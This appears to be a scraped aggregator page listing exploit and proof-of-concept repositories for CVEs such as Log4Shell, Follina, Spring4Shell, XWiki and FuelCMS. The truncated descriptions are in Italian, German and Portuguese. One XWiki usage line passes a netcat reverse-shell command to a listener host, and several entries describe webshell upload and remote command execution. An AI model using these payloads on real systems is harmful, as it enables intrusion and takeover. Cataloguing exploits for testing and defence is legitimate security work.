SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

SMB-PenTest-Sfruttamento-di-CVE-2007-2447-su-Metasploitable-2 RedTeam-SMB-PenTest | ---|--- Descrizione Questo progetto documenta un'attività di penetration testing svolta nell'ambito del corso CMIT 386 presso l'UMGC. L'obiettivo è sfruttare la vulnerabilità usermapscript di Samba SMB CVE-2007-24...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 vulnerabilità critica di Remote Code Execution RCE scoperta in Apache Tomcat colpisce i sistemi con HTTP PUT abilitati impostando il parametro di inizializzazione "read-only" del servlet Default su "false" sono colpiti. Le versioni di Tomcat precedenti alla 9.0.1 Bet...

CVE-2024-4885

CVE-2024-4885 PoC per CVE-2024-4885 Progress WhatsUp Gold GetFileWithoutZip Esecuzione di codice remoto non autenticata CVE-2024-4885 Analisi Tecnica Un'analisi della causa principale della vulnerabilità è disponibile sul mio blog:...

POC-CVE-2025-55182

CVE-2025-55182 Scanner Avanzato Un'utility di sfruttamento completa per CVE-2025-55182 — Esecuzione remota di codice tramite React Server Components in Next.js. Lo scanner costruisce automaticamente il payload multipart e abusa di process.mainModule.require'childprocess'.execSync per ottenere...

F5-BIG-IP

CVE-2020-5902 — F5 BIG-IP TMUI RCE Proof-of-Concept-Exploit für die kritische Path-Traversal-/Remote-Codeausführungs-Schwachstelle in F5 BIG-IPs Traffic Management User Interface TMUI. ⚠️ Nur für autorisierte Penetrationstests und Sicherheitsforschung. Der unbefugte Einsatz gegen Systeme, die eine...

FastJson1.2.62-RCE

Fastjson=1.2.62 RCE Analisi della vulnerabilità: https://www.cnblogs.com/tr1ple/p/12348886.html...

cve-2017-5638

cve-2017-5638 cve-2017-5638 Beispiel einer verwundbaren Website Dieses Projekt dient dazu, die Ausnutzung von CVE-2017-5638 zu Demonstrationszwecken zu veranschaulichen. Für weitere Informationen siehe https://cwiki.apache.org/confluence/display/WW/S2-045 Rechtlicher Haftungsausschluss Dieses...

CVE-2022-2274

OpenSSL-src Heap Memory Corruption with RSA Private Key Operation : CVE-2022-2274 Sommario OpenSSL-src-rust è un codice sorgente e una logica per compilare OpenSSL dal sorgente scritta in rust e impacchettata come crate. Ci sono attualmente due branch mantenuti, che corrispondono alle due version...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE Exploit zum Auslösen von RCE für CVE-2018-16763 auf FuelCMS = 1.4.1 und interaktive Shell. Features Lädt automatisch eine PHP-Webshell-API in FuelCMS unter Verwendung von CVE-2018-16763 hoch. Führt Systembefehle über eine API mit ?action=exec aus. Lädt Dateien...

CVE-2024-4577-Nuclei-Template

CVE-2024-4577 Template Nuclei Questo repository contiene un template Nuclei per rilevare la vulnerabilità di iniezione degli argomenti PHP CGI identificata come CVE-2024-4577. Dettagli del Template root@kitploit: id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüsey...

CVE-2022-30190

CVE-2022-30190 Follina Proof of Concept Übersicht Dieses Projekt demonstriert einen Proof-of-Concept-Exploit für CVE-2022-30190, auch bekannt als „Follina“ – eine kritische Remote-Codeausführung-Sicherheitslücke, die Microsoft Office über das MSDT-Protokoll betrifft. Die Anwendung generiert...

react2shell-security-toolkit

🛡️ React2Shell Security Toolkit Kit de segurança para detectar e mitigar a vulnerabilidade CVE-2025-55182 React2Shell ⚠️ CRÍTICO : Esta vulnerabilidade CVSS 10.0 está sendo ativamente explorada! Início Rápido root@kitploit: npm install -g react2shell-security-toolkit npx react2shell-check O que é o...

CVE-2024-36401-poc

CVE-2024-36401 — GeoServer OGC XPath Injection RCE Exploit für nicht authentifizierte Remote-Codeausführung Remote Code Execution bei GeoServer über die Injektion des OGC-Filterparameters valueReference XPath/JXPath-Auswertung. Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte...

CVE-2024-57376

CVE-2024-57376 Exploit di esecuzione remota di codice pre-autenticazione per D-Link DSR-250 e DSR-250N Avviso di sicurezza: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 Utilizzo root@kitploit: $ python3 exploit.py usage: Esempio root@kitploit: $ python3...

SOC227-Microsoft-SharePoint-Server-Elevation-of-Privilege-Possible-CVE-2023-29357-Exploitation

SOC227 - Microsoft SharePoint Server Elevazione dei privilegi Sfruttamento di CVE-2023-29357 CVE-2023-29357 è una vulnerabilità critica di elevazione dei privilegi che, se combinata con altre vulnerabilità, potrebbe potenzialmente portare all'esecuzione di codice in remoto. Il punteggio CVSS di...

exploit-CVE-2021-44228

CVE-2021-44228 – Log4j RCE ohne Authentifizierung Über Dies ist ein Proof-of-Concept-Exploit für Log4j RCE ohne Authentifizierung CVE-2021-44228. Diese Schwachstelle betrifft Versionen 2.15.0. Für weitere Informationen:...

CVE-2025-24893

CVE-2025-24893 Exploit di Remote Code Execution per XWiki per versioni precedenti a 15.10.11, 16.4.1 e 16.5.0RC1. Utilizzo root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Usalo solo per scopi etici :...

CVE-2022-22965_PoC

Spring Framework RCE Ausnutzung Schnelle Pentest-Notizen Schritt 1: Finden Sie einen Endpunkt in Ihrem Ziel, der POST/PUT-Methoden akzeptiert + kodieren Sie Ihr Payload URL-Kodierung root@kitploit: POST /path/upload HTTP/1.1 Host: Origin: Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C;...

CVE-2022-30136

CVE-2022-30136 PoC di exploit remoto per Windows Network File System autore: Ricardo Narvaja Solo a scopo dimostrativo. L'exploit completo funziona su sistemi Windows Server vulnerabili. Consulta l'analisi Analysis of CVE-2022-30136 “Windows Network File System Vulnerability“. Utilizzo Analisi di...

CVE-2026-2586

RCE tramite iniezione EL autenticata in GlassFish CVE-2026-2586 Una vulnerabilità di iniezione di Expression Language nella console di amministrazione di GlassFish consente a un utente autenticato di iniettare espressioni EL dannose nei parametri elaborati dall'interfaccia web amministrativa. Uno...